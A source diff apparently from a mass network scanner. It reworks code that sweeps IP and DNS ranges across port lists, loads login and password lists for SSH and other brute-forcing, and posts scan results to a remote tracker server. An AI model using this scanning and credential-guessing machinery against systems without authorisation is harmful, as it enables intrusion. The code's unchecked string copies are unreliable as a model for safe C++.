1); - jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); - jsonArr->push_front(jsonKey); - - QJsonDocument js; - js.setArray(*jsonArr); - QByteArray r = js.toJson(); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - if(msg != NULL) - { - delete []msg; - msg = 0; - }; - - msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(*msg)); - - strcpy(msg, "POST /"); - strcat(msg, ndbScript); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); - strcat(msg, "\r\nConnection: close\r\n\r\n"); - - strcat(msg, r.data()); - - delete jsonArr; - jsonArr = new QJsonArray(); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); - }; - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - - stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Sending!"); - stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); - stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char msgR[32] = {0}; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Receiving..."); - }; - - test = recv(sock, rBuff, 512, 0); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - - strncpy(msgR, rBuff, 32); - strcpy(rBuffT, rBuff); - while(test > 0) - { - if(test <= 0) break; - - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - test = recv(sock, rBuff, 512, 0); - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - if(strstr(rBuffT, "201 Created") != NULL) - { - - if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); - stt->doEmitionDataSaved(true); - Sleep(1000); - stt->doEmitionDataSaved(false); - - } - else if(strstr(rBuffT, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); - - SaveErrorLog("NS-Track", msg, rBuffT); - } - else - { - stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - ZeroMemory(msgR, sizeof(msgR)); - ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(*msg)); - - if(msg != NULL) - { - delete msg; - msg = NULL; - }; - - CSSOCKET(sock); - }; - Sleep(10000); - }; - } - else + while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) + { + if(strlen(rBuffT) > 200000) { - stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); - SaveErrorLog("NS-Track", msg, rBuffT); - }; + stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + }; - CSSOCKET(sock); - }; - trackAlreadyGoing = false; - }; + if(test == -1) + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); + + continue; + }; + + char *t1; + char *t2; + if(strstr(rBuffT, "http://") != NULL) + { + t1 = strstr(rBuffT, "http://"); + if(strstr((char*)(t1 + 7), "/") != NULL) + { + t2 = strstr((char*)(t1 + 7), "/"); + int ln = t2 - t1 - 7; + if(ln > 64) + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); + SaveErrorLog("NS-Track", msg, rBuffT); + + continue; + } + else strncpy(ndbServer, (char*)(t1 + 7), ln); + + if(strlen(t2) > 64) + { + + stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); + + if(strstr(t2, "\r\n") != NULL) + { + char *t3 = strstr(t2, "\r\n"); + int y = (int)(t3 - t2); + + if(y > 64) + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); + + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + } + else + { + strncpy(ndbScriptT, t2, y); + CSSOCKET(sock); + + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); + + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); + }; + } + else + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); + + SaveErrorLog("NS-Track", msg, rBuffT); + continue; + }; + } + else + { + strcpy(ndbScriptT, t2); + + stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); + + CSSOCKET(sock); + strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); + }; + } + else + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); + + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + CSSOCKET(sock); + + while(true) + { + if(globalScanFlag == false && jsonArr->size() == 0) break; + if(!trackerOK) { + Sleep(1000); + continue; + }; + + if(jsonArr->size() > 0) + { + QJsonObject jsonKey; + if(jsonArr == NULL) jsonArr = new QJsonArray(); + + QJsonObject jsonMeta; + if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // + else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode + else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // + jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); + jsonMeta.insert("current", QJsonValue(QString(currentIP)) ); + if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD + jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); + jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); + jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); + jsonMeta.insert("found", QJsonValue(QString::number(found)) ); + jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); + jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); + jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); + jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); + jsonMeta.insert("version", QJsonValue(QString(gVER)) ); + + jsonArr->push_front(QJsonValue(jsonMeta) ); + memset(trcPersKey + 32, '\0', 1); + jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); + jsonArr->push_front(jsonKey); + + QJsonDocument js; + js.setArray(*jsonArr); + QByteArray r = js.toJson(); + + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + + if(msg != NULL) + { + delete []msg; + msg = 0; + }; + + msg = new char[r.size() + 1024]; + ZeroMemory(msg, sizeof(*msg)); + + strcpy(msg, "POST /"); + strcat(msg, ndbScript); + strcat(msg, " HTTP/1.1\r\nHost: "); + strcat(msg, ndbServer); + strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); + strcat(msg, std::to_string(r.size()).c_str()); + strcat(msg, "\r\nConnection: close\r\n\r\n"); + + strcat(msg, r.data()); + + delete jsonArr; + jsonArr = new QJsonArray(); + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); + else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); + }; + + if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) + { + CSSOCKET(sock); + + + stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); + + continue; + }; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Sending!"); + stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); + stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); + }; + + if(send(sock, msg, strlen(msg), 0) == -1) + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); + + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + + ZeroMemory(rBuffT, sizeof(rBuffT)); + char msgR[32] = {0}; + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Receiving..."); + }; + + test = recv(sock, rBuff, 512, 0); + + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + + strncpy(msgR, rBuff, 32); + strcpy(rBuffT, rBuff); + while(test > 0) + { + if(test <= 0) break; + + if(strlen(rBuffT) > 200000) + { + stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); + SaveErrorLog("NS-Track", msg, rBuffT); + break; + }; + strcat(rBuffT, rBuff); + test = recv(sock, rBuff, 512, 0); + if(gDebugMode) + { + stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); + }; + }; + + if(test == -1) + { + CSSOCKET(sock); + + stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); + + SaveErrorLog("NS-Track", msg, ""); + continue; + }; + + if(strstr(rBuffT, "201 Created") != NULL) + { + + if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); + stt->doEmitionDataSaved(true); + Sleep(1000); + stt->doEmitionDataSaved(false); + + } + else if(strstr(rBuffT, "400 Bad Request") != NULL) + { + + QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); + + SaveErrorLog("NS-Track", msg, rBuffT); + } + else + { + stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); + SaveErrorLog("NS-Track", msg, rBuffT); + }; + + ZeroMemory(msgR, sizeof(msgR)); + ZeroMemory(rBuffT, sizeof(rBuffT)); + ZeroMemory(msg, sizeof(*msg)); + + if(msg != NULL) + { + delete msg; + msg = NULL; + }; + + CSSOCKET(sock); + }; + Sleep(10000); + }; + } + else + { + stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); + SaveErrorLog("NS-Track", msg, rBuffT); + }; + + CSSOCKET(sock); + } } -unsigned long int numOfIps(int ipsstart[], int ipsend[]) -{ +unsigned long int numOfIps(int ipsstart[], int ipsend[]) { gTargets += 16777216 * (ipsend[0] - ipsstart[0]); gTargets += 65536 * (ipsend[1] - ipsstart[1]); gTargets += 256 * (ipsend[2] - ipsstart[2]); @@ -809,72 +773,40 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) return gTargets; } - -//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -//void _connect(int ss) -//#else -//void _connect(char *ip) -//#endif -//{ -// ++ipCounter; - -// ConInc(); - -// for(int i = 0; i <= overallPorts; ++i) -// { -// if(globalScanFlag == false) break; -// if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; -// }; - -// ConDec(); -//} - -std::mutex m; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -void _connect(int ss) -#else -void _connect(int ss, std::condition_variable *cv) -#endif -{ - //std::chrono::duration<int, std::milli> duration(200); +void _connect() { + string ip = ""; while(globalScanFlag) { -// std::future<int> f2 = Threader::threadPool[ss]; -// f2.wait(); - std::unique_lock<std::mutex> lk(m); - cv->wait(lk, [ss]{return Threader::readyPool[ss];}); -// while(Threader::threadPool[ss] == NULL) { -// if(!globalScanFlag) return; -// std::this_thread::sleep_for(duration); -// } -// if(Threader::threadPool[ss] == (char*)-1) { -// --Threader::threadId; -// return; -// } + std::unique_lock<std::mutex> lk(Threader::m); + Threader::cv.wait(lk, []{return Threader::ready;}); + if(globalScanFlag == false) break; + if(Threader::threadId > gThreads) { + --Threader::threadId; + return; + } - ++ipCounter; + ip = Threader::ipQueue.front(); + + Threader::ipQueue.pop(); + Threader::ready = false; + lk.unlock(); ConInc(); - for(int i = 0; i <= overallPorts; ++i) { if(globalScanFlag == false) break; - if(Connector::_ConnectToPort( Threader::threadPool[ss], portArr[i], "" ) == -2) break; + if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; }; - ConDec(); - Threader::readyPool[ss] = false; - Threader::threadPool[ss] = NULL; - lk.unlock(); } } -void targetAndIPWriter(long long unsigned int target, const char *ip) -{ +void targetAndIPWriter(long long unsigned int target, const char *ip) { + char targetNPers[32] = {0}; float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); stt->doEmitionIPRANGE(QString(ip)); - strcpy(metaIPDNS, ip); + strcpy(currentIP, ip); sprintf(targetNPers, "%Lu (%.1f%%)", target, @@ -886,8 +818,7 @@ void targetAndIPWriter(long long unsigned int target, const char *ip) percent); } -void _passLoginLoader() -{ +void _passLoginLoader() { MaxLogin = 0; MaxPass = 0; @@ -1085,8 +1016,7 @@ void _passLoginLoader() + "; SSH: ~" + QString::number(MaxSSHPass/gTimeOut/60)); } -void ReadUTF8(FILE* nFile, char *cp) -{ +void ReadUTF8(FILE* nFile, char *cp) { char buffFG[256] = {0}; int i = 0; GlobalNegativeSize = 0; @@ -1210,8 +1140,7 @@ unsigned char* ASCIItoUNICODE (unsigned char ch) } #endif -std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) -{ +std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { std::string res; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); @@ -1239,8 +1168,7 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) #endif return res; } -void _NegativeLoader() -{ +void _NegativeLoader() { FILE *nFile = fopen("negatives.txt", "rb"); if( nFile != NULL) @@ -1259,8 +1187,7 @@ void _NegativeLoader() } } -void CheckMaskBits(char *res, int index) -{ +void CheckMaskBits(char *res, int index) { char *bitsStr = strstr(res, "/"); int bitsNum = atoi(bitsStr + 1); int finalBit = 1; @@ -1321,8 +1248,7 @@ void CheckMaskBits(char *res, int index) }; } -void GetOctets(char *curIP) -{ +void GetOctets(char *curIP) { char *str1; char *str2; char temp[8] = {0}; @@ -1402,186 +1328,7 @@ void GetOctets(char *curIP) }; } -int fInit(int InitMode, char *gR) -{ - strcpy(metaRange, gR); - if (InitMode == 0) - { - if(strstr(gR, "/") != NULL) - { - ++flCounter; - - char *str1; - char *str2; - char res[8] = {0}; - - GetOctets(gR); - - if(strstr(gR, ".") != NULL) - { - str1 = strstr(gR, "."); //1 byte - strncpy(res, gR, (int)((char*)str1 - gR)); - } - else strcpy(res, gR); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][0] = atoi(res); - ipsstartfl[flCounter][0] = atoi(res); - ipsendfl[flCounter][0] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][1] = atoi(res); - ipsstartfl[flCounter][1] = atoi(res); - ipsendfl[flCounter][1] = atoi(res); - }; - - ZeroMemory(res, sizeof(res)); - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 byte - strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); - } - else strcpy(res, str2 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][2] = atoi(res); - ipsstartfl[flCounter][2] = atoi(res); - ipsendfl[flCounter][2] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][3] = atoi(res); - ipsstartfl[flCounter][3] = atoi(res); - ipsendfl[flCounter][3] = atoi(res); - }; - - ipsstart[0] = ipsstartfl[flCounter][0]; - ipsstart[1] = ipsstartfl[flCounter][1]; - ipsstart[2] = ipsstartfl[flCounter][2]; - ipsstart[3] = ipsstartfl[flCounter][3]; - - ipsend[0] = ipsendfl[flCounter][0]; - ipsend[1] = ipsendfl[flCounter][1]; - ipsend[2] = ipsendfl[flCounter][2]; - ipsend[3] = ipsendfl[flCounter][3]; - } - else - { - int x; - char des1[64] = {0}; - - for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x*sizeof(int)); - memset(gR, ' ', x + 1); - ipsstart[i] = atoi(des1); - ZeroMemory(des1, sizeof(des1)); - if(ipsstart[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - x = strcspn(gR, "-"); - if(strstr(gR, "-") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - memcpy(des1, gR, x); - ipsstart[3] = atoi(des1); - memset(gR, ' ', x + 1); - - if(strstr(gR, ".") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x); - memset(gR, ' ', x + 1); - ipsend[i] = atoi(des1); - - if(ipsend[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - }; - if((ipsstart[0] > ipsend[0]) - || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) - ) - ) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - targets = numOfIps(ipsstart, ipsend); - }; -} - -void FileLoader(char *str) -{ +void FileLoader(char *str) { char curIP[256] = {0}, curIPCopy[256] = {0}; unsigned int importFileSize = 0; @@ -1819,8 +1566,7 @@ void FileLoader(char *str) }; } -char *GetCIDRRangeStr(char *str) -{ +char *GetCIDRRangeStr(char *str) { char result[128] = {0}; char start[32] = {0}; char end[32] = {0}; @@ -1891,14 +1637,6 @@ char *GetCIDRRangeStr(char *str) octet[2]&mOctet[2], octet[3]&mOctet[3]); -// strcpy(start, itoa(octet[0]&mOctet[0], buff, 10)); -// strcat(start, "."); -// strcat(start, itoa(octet[1]&mOctet[1], buff, 10)); -// strcat(start, "."); -// strcat(start, itoa(octet[2]&mOctet[2], buff, 10)); -// strcat(start, "."); -// strcat(start, itoa(octet[3]&mOctet[3], buff, 10)); - unsigned char tempRes0 = 0; unsigned char tempRes1 = 0; unsigned char tempRes2 = 0; @@ -1918,31 +1656,188 @@ char *GetCIDRRangeStr(char *str) tempRes2, tempRes3); -// if(mOctet[0] == 255) tempRes = octet[0]; -// else tempRes = octet[0]|~mOctet[0]; -// strcat(end, itoa(tempRes, buff, 10)); -// strcat(end, "."); -// if(mOctet[1] == 255) tempRes = octet[1]; -// else tempRes = octet[1]|~mOctet[1]; -// strcat(end, itoa(tempRes, buff, 10)); -// strcat(end, "."); -// if(mOctet[2] == 255) tempRes = octet[2]; -// else tempRes = octet[2]|~mOctet[2]; -// strcat(end, itoa(tempRes, buff, 10)); -// strcat(end, "."); -// if(mOctet[3] == 255) tempRes = octet[3]; -// else tempRes = octet[3]|~mOctet[3]; -// strcat(end, itoa(tempRes, buff, 10)); - - strcpy(result, start); - strcat(result, "-"); - strcat(result, end); + sprintf(result, "%s-%s", start, end); return result; } +int fInit(int InitMode, char *gR) { + strcpy(metaRange, gR); + if (InitMode == 0) + { + if(strstr(gR, "/") != NULL) + { + ++flCounter; -int ParseArgs(int argc, char *argv[]) -{ + char *str1; + char *str2; + char res[8] = {0}; + + GetOctets(gR); + + if(strstr(gR, ".") != NULL) + { + str1 = strstr(gR, "."); //1 byte + strncpy(res, gR, (int)((char*)str1 - gR)); + } + else strcpy(res, gR); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][0] = atoi(res); + ipsstartfl[flCounter][0] = atoi(res); + ipsendfl[flCounter][0] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][1] = atoi(res); + ipsstartfl[flCounter][1] = atoi(res); + ipsendfl[flCounter][1] = atoi(res); + }; + + ZeroMemory(res, sizeof(res)); + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 byte + strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); + } + else strcpy(res, str2 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][2] = atoi(res); + ipsstartfl[flCounter][2] = atoi(res); + ipsendfl[flCounter][2] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][3] = atoi(res); + ipsstartfl[flCounter][3] = atoi(res); + ipsendfl[flCounter][3] = atoi(res); + }; + + ipsstart[0] = ipsstartfl[flCounter][0]; + ipsstart[1] = ipsstartfl[flCounter][1]; + ipsstart[2] = ipsstartfl[flCounter][2]; + ipsstart[3] = ipsstartfl[flCounter][3]; + + ipsend[0] = ipsendfl[flCounter][0]; + ipsend[1] = ipsendfl[flCounter][1]; + ipsend[2] = ipsendfl[flCounter][2]; + ipsend[3] = ipsendfl[flCounter][3]; + } + else + { + int x; + char des1[64] = {0}; + + for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x*sizeof(int)); + memset(gR, ' ', x + 1); + ipsstart[i] = atoi(des1); + ZeroMemory(des1, sizeof(des1)); + if(ipsstart[i] > 255) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + }; + + x = strcspn(gR, "-"); + if(strstr(gR, "-") == NULL) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + memcpy(des1, gR, x); + ipsstart[3] = atoi(des1); + memset(gR, ' ', x + 1); + + if(strstr(gR, ".") == NULL) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x); + memset(gR, ' ', x + 1); + ipsend[i] = atoi(des1); + + if(ipsend[i] > 255) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + }; + + }; + if((ipsstart[0] > ipsend[0]) + || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) + ) + ) + { + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); + return -1; + }; + + targets = numOfIps(ipsstart, ipsend); + }; +} + +int ParseArgs(int argc, char *argv[]) { int s = 0; int indexPorts = 0; @@ -1975,25 +1870,22 @@ int ParseArgs(int argc, char *argv[]) { if(strstr(argv[2], "-") != NULL) { - strcpy(gRange, argv[2]); - strcpy(saveEndIP, argv[2]); - strcpy(endIP2, argv[2]); + strcpy(gRange, argv[2]); } - else - { - if(strstr(argv[2], "/") != NULL) - { - strcpy(gRange, GetCIDRRangeStr(argv[2])); - } - else - { - strcpy(gRange, argv[2]); - strcat(gRange, "-"); - strcat(gRange, argv[2]); - }; - strcpy(saveEndIP, gRange); - strcpy(endIP2, gRange); - }; + else if(strstr(argv[2], "/") != NULL) + { + strcpy(gRange, GetCIDRRangeStr(argv[2])); + } + else + { + strcpy(gRange, argv[2]); + strcat(gRange, "-"); + strcat(gRange, argv[2]); + }; + + strcpy(saveEndIP, gRange); + strcpy(endIP2, gRange); + strcpy(finalIP, strstr(gRange, "-") + 1); } else if(gMode == 1) { @@ -2115,9 +2007,8 @@ return 0; char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; -char iip[256] = {0}; -int _getPos(char l) -{ + +int _getPos(char l) { for(int i = 0; i < 38; ++i) { if(l == charAll[i]) return i; @@ -2125,15 +2016,13 @@ int _getPos(char l) return -1; } -int _getChunkCount(char *data) -{ +int _getChunkCount(char *data) { int firstPos = _getPos(data[1]); int secondPos = _getPos(data[2]); return secondPos - firstPos + 1; } -int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) -{ +int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { if(strstr(mask, "[") != NULL) { char maskEnd[1024] = {0}; @@ -2195,31 +2084,22 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) } else { - strcpy(endIP2, saveMask); - ZeroMemory(iip, sizeof(iip)); while(cons >= gThreads && globalScanFlag) Sleep(300); if(globalScanFlag == false) return 0; - strcpy(iip, mask); - strcpy(saveStartIP, iip); - strcat(iip, top_level_domain); + string res = string(mask); + targetAndIPWriter(--gTargets, res.c_str()); + res += string(top_level_domain); ++indexIP; - char res[256] = {0}; - strcpy(res, iip); - - targetAndIPWriter(--gTargets, res); - - Threader::fireThread(res, (void* (*)(int,std::condition_variable*))_connect); - Sleep(gThreadDelay); + Threader::fireThread(res, (void*(*)(void))_connect); }; } -int startScan(char* args) -{ +int startScan(char* args) { curl_global_init(CURL_GLOBAL_ALL); SSL_library_init(); OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ @@ -2264,6 +2144,7 @@ int startScan(char* args) 